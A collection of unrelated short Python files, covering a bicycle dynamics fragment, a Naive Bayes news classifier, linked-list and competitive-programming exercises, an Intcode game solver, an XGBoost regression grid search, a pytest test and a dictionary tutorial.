		wr_dot = (1/H)*(G*np.sin(self.phi) - np.tan(self.delta)*((self.v**2)/L + B*v_dot/L + np.tan(self.phi)*((B/L)*self.v*phi_dot - (H/(L**2)*(self.v**2)*np.tan(self.delta))))-B*self.v*delta_dot/(L*np.cos(self.delta)**2))
		# Returns u which is the motor command and the zdot vector in the form of a list
		return (u, [xdot, ydot, phi_dot, psi_dot, delta_dot, wr_dot, v_dot])


'''
https://www.kaggle.com/cnokello/news-article-classification-using-naive-bayes
'''

import pandas as pd

news_df = pd.read_csv("../input/uci-news-aggregator.csv", sep = ",")
# news_df.CATEGORY.unique()

'''
Preprocess data:
-Transform categories into discrete numerical values;
-Transform all words to lowercase;
-Remove all punctuations.
'''
import string

news_df['CATEGORY'] = news_df.CATEGORY.map({ 'b': 1, 't': 2, 'e': 3, 'm': 4 })
news_df['TITLE'] = news_df.TITLE.map(
    lambda x: x.lower().translate(str.maketrans('','', string.punctuation))
	)

news_df.head()

'''
Split into train and test data sets
'''
from sklearn.model_selection import train_test_split

X_train, X_test, y_train, y_test = train_test_split(
    news_df['TITLE'],
    news_df['CATEGORY'],
    random_state = 1
)

print("Training dataset: ", X_train.shape[0])
print("Test dataset: ", X_test.shape[0])

'''
Extract features
'''
from sklearn.feature_extraction.text import CountVectorizer

count_vector = CountVectorizer(stop_words = 'english')
training_data = count_vector.fit_transform(X_train)
testing_data = count_vector.transform(X_test)

'''
Train Multinomial Naive Bayes classifier
'''
from sklearn.naive_bayes import MultinomialNB

naive_bayes = MultinomialNB()
naive_bayes.fit(training_data, y_train)

predictions = naive_bayes.predict(testing_data)

'''
Evaluate model performance
'''
from sklearn.metrics import accuracy_score, recall_score, precision_score, f1_score

print("Accuracy score: ", accuracy_score(y_test, predictions))
print("Recall score: ", recall_score(y_test, predictions, average = 'weighted'))
print("Precision score: ", precision_score(y_test, predictions, average = 'weighted'))
print("F1 score: ", f1_score(y_test, predictions, average = 'weighted'))


"""
Given a singly linked list and an integer k,
 remove the kth last element from the list.
 k is guaranteed to be smaller than the length of the list.

The list is very long, so making more than one pass is prohibitively expensive.

Do this in constant space and in one pass."""
from linked_list import LinkedList

class eLinkedList (LinkedList):

    def removeK(self, k):
        pointer = self.head
        pre_kpointer = self.head
        while pointer != None:
            #print("Pointer: ", pointer.data)
            pointer = pointer.next
            if k == -1:
                #print("pre_k: ", pre_kpointer.data)
                pre_kpointer = pre_kpointer.next
            else:
                #print("k: ", k)
                k -= 1
        print("Node with the value {} will be deleted".format(pre_kpointer.next.data))
        skip_k = pre_kpointer.next.next
        pre_kpointer.next = skip_k

if __name__ == "__main__":
    llist = eLinkedList()
    llist.append(1)
    llist.append(3)
    llist.append(6)
    llist.append(2)
    llist.append(8)
    llist.append(9)
    llist.printList()

    llist.removeK(3)

    llist.printList()


import sys
case = int(input())
lst = []
for _ in range(case):
    age, name = sys.stdin.readline().split()
    lst.append((int(age), name))

lst = sorted(lst, key=lambda x: x[0])

for i in lst:
    print(i[0], i[1])


from intcode import IntCode

DEFAULT_INPUT = 'day13.txt'

def part_1(loc=DEFAULT_INPUT):
    with open(loc) as f:
        memory = list(map(int, f.readline().rstrip().split(',')))
    ic = IntCode(memory)
    outputs = ic.run_through()
    draw_memory = list(zip(*[iter(outputs)]*3))
    return sum(1 for t in draw_memory if t[2] == 2)

def part_2(loc=DEFAULT_INPUT):
    with open(loc) as f:
        memory = list(map(int, f.readline().rstrip().split(',')))
    memory[0] = 2
    ic = IntCode(memory)
    score = -1
    paddle_x = 0
    while True:
        x = ic.get_output()
        y = ic.get_output()
        tile = ic.get_output()
        if x[0] or y[0] or tile[0]:
            return score
        if x[1] == -1 and y[1] == 0:
            score = tile[1]
        elif tile[1] == 3:
            paddle_x = x[1]
        elif tile[1] == 4:
            ball_x = x[1]
            if ball_x > paddle_x:
                ic.add_inputs(1)
            elif ball_x < paddle_x:
                ic.add_inputs(-1)
            else:
                ic.add_inputs(0)

if __name__ == '__main__':
    print('Solution for Part One:', part_1())
    print('Solution for Part Two:', part_2())


def checker(l):
    dic={'cakewalk':0,'simple':0,'easy':0,'easy-medium':0,'medium':0,'medium-hard':0,'hard':0}
    for i in l:
        dic[i]+=1
    if dic['cakewalk']==1 and dic['simple']==1 and dic['easy']==1 and (dic['easy-medium']==1 or dic['medium']==1) and (dic['medium-hard']==1 or dic['hard']==1):
        return 1
    else:
        return 0

#*******************************************************************************
test=int(input())
for i in range(test):
    n=int(input())
    l=[]
    for j in range(n):
        l.append(input())
    res=checker(l)
    if res==1:
        print('Yes')
    else:
        print('No')


import pandas as pd
students = pd.read_csv('http://xn----8sblcdzzacvuc0jbg.xn--80abucjiibhv9a.xn--p1ai/opendata/7710539135-VPO/data-20141202-structure-20141202.csv', sep=';')
all = (students['countstudentgos'].sum() + students['countstudentnegos'].sum())
import matplotlib.pyplot as plt
pieses = [students['countstudentnegos'].sum(), students['countstudentgos'].sum()]
owners = ['Студенты негосуд.вузов', 'Остальные']
cols = ['b','r']
plt.pie(pieses, labels = owners, colors = cols, shadow = 1, explode = (0.1, 0), autopct='%.1f')
plt.title('Процент студентов, обучающих в негосударственных ВУЗах относительно общего числа студентов')
plt.show()


import pickle
import xgboost as xgb
import gc
import pandas as pd
import numpy as np
from TextMiningMachine.splitting import TrainTestDateSplitter
#from TextMiningMachine.xgboost_optimizer import XgbRegressionBuilder
import math
import datetime
import sklearn
gc.collect()

# load raw data
data = pd.read_pickle('data/raw_data.p')

# load preproccessed features
features = xgb.DMatrix('data/xgb.features.data')

# load transform
with open( 'data/text_cat_transformer.p', 'rb') as f:
    trans = pickle.load(f)

# set target and date col
target_col = 'TotalPayments'
date_col = 'CENSUS_DATE'
cut_date = datetime.date(2016, 12, 1)

# cut by date
s = TrainTestDateSplitter()
test, train, y_test, y_train = s.split(data, target_col, date_col, cut_date, features=features)

# set up params for xgboost to
params = {'booster': 'gbtree',
          'max_depth': 4,
          'min_child_weight': 1500,
          'colsample_bytree': .8,
          'colsample_bylevel':1,
          'base_score': 0.1,
          'eta':0.05,
          'objective': 'binary:logistic',
          'eval_metric': "auc",
          'gamma':0,
          #'alpha':1000,
          'lambda':1}

# set up intial parmas
params = {'booster': 'gbtree',
          'nthread': 4,
          'max_depth': 4,
          'min_child_weight': 2000,
          'eta': .1,
          #'gamma': .2,
          'seed': 2012,
          #'colsample_bytree':.9,
          'objective': 'reg:linear',
          'eval_metric': "rmse",
          #'tweedie_variance_power': 1.8,
          'lambda': 1}

gc.collect()

num_boost_round = 500

# train a model with initial parameters to estimate errors
model = xgb.train(
    params,
    train,
    num_boost_round=num_boost_round,
    evals=[(train, 'Train'), (test, "Test")],
    early_stopping_rounds=8
)

# get predictions
train_preds = model.predict(train)
test_preds = model.predict(test)

# get R2 vals
train_r2 = sklearn.metrics.r2_score(y_train, train_preds)
test_r2 = sklearn.metrics.r2_score(y_test, test_preds)
print("The train R_2 value for predictions on {} is {}".format(target_col, train_r2))
print("The test R_2 value for predictions on {} is {}".format(target_col, test_r2))

print("Best RMSE: {:.2f} in {} rounds".format(model.best_score, model.best_iteration+1))

# grid search parameters regularization
# find current best score and best params
best_score = model.best_score
best_params = params
new_params = params

# set up grid
reg_alpha = np.arange(.1, .5, .05)

# execute the model building loop for L1 Reg Alpha
for r in reg_alpha:
    gc.collect()
    print("building with with alpha={}, ".format(r))
    # Update our parameters
    new_params['alpha'] = r
    model = xgb.train(
        new_params,
        train,
        num_boost_round=num_boost_round,
        evals=[(train, 'Train'), (test, "Test")],
        early_stopping_rounds=8
    )
    new_score = model.best_score
    # get predictions
    train_preds = model.predict(train)
    test_preds = model.predict(test)

    # get R2 vals
    train_r2 = sklearn.metrics.r2_score(y_train, train_preds)
    test_r2 = sklearn.metrics.r2_score(y_test, test_preds)
    print("The train R_2 value for predictions on {} is {}".format(target_col, train_r2))
    print("The test R_2 value for predictions on {} is {}".format(target_col, test_r2))

    if new_score > best_score:
        print('Score Beaten! New Best', new_score)
        best_params = new_params
        best_score = new_score
    else:
        print('failed to beat best score', best_score)

# train the model with the best parameters
best_model = xgb.train(
    best_params,
    train,
    num_boost_round=1000,
    evals=[(train, 'Train'), (test, "Test")],
    early_stopping_rounds=10)

# get the best iteration round
num_boost_round = model.best_iteration + 1

# re train the model to only the optimum iteration (it usually has been over trained
best_model = xgb.train(
    best_params,
    train,
    num_boost_round=num_boost_round,
    evals=[(train, 'Train'), (test, "Test")])

# get predictions
train_preds = best_model.predict(train)
test_preds = best_model.predict(test)

# get R2 vals
train_r2 = sklearn.metrics.r2_score(y_train, train_preds)
test_r2 = sklearn.metrics.r2_score(y_test, test_preds)
print("The train R_2 value for predictions on {} is {}".format(target_col, train_r2))
print("The test R_2 value for predictions on {} is {}".format(target_col, test_r2))

# # save the best model
model_file_name = 'models/TotalPayments_xgb.model'
best_model.save_model(model_file_name)


import importlib
from pytest import mark

test_cases = [
    ("1, 2, 3", 4),
    ("1, 2, 3, 4, 5", 6),
    ("10, 2, 3, 4, 5", 15),
    ("1, 2, 3, 4, -5", -4),
    ("2, 3, 4, 5", 7),
    ("10, 11, 12, 13, 14", 24),
    ("10, 11, 12, 13, 14, 15", 25),
]

@mark.parametrize("test_input, expected_output", test_cases)
def test_question_11(mocker, test_input, expected_output):
    """
    This feels super hacky having to use importlib, but it does work
    """
    mocker.patch("builtins.input", return_value=test_input)
    import src.block_quiz_01.question_11 as q11

    importlib.reload(q11)
    assert q11.first_plus_last == expected_output


#!/bin/usr/env python3

states = {
	'Oregon': 'OR',
	'Florida': 'FL',
	'California': 'CA',
	'New York': 'NY',
	'Michigan': 'MI'
}

cities = {
	'CA': 'San Francisco',
	'MI': 'Detroit',
	'FL': 'Jacksonville'
}

cities['NY'] = 'New York'
cities['OR'] = 'Portland'

print('-' * 10)

print(cities.items())
print(list(cities.items()))

for abbrev, city in list(cities.items()):
	print(f"{abbrev} has the city {city}")

print('-' * 10)

state = states.get('Texas')
if not state:
	print("no texas:(")

# giving a default value
city = cities.get('TX', 'Does not exist')
print(f"the city is {city}")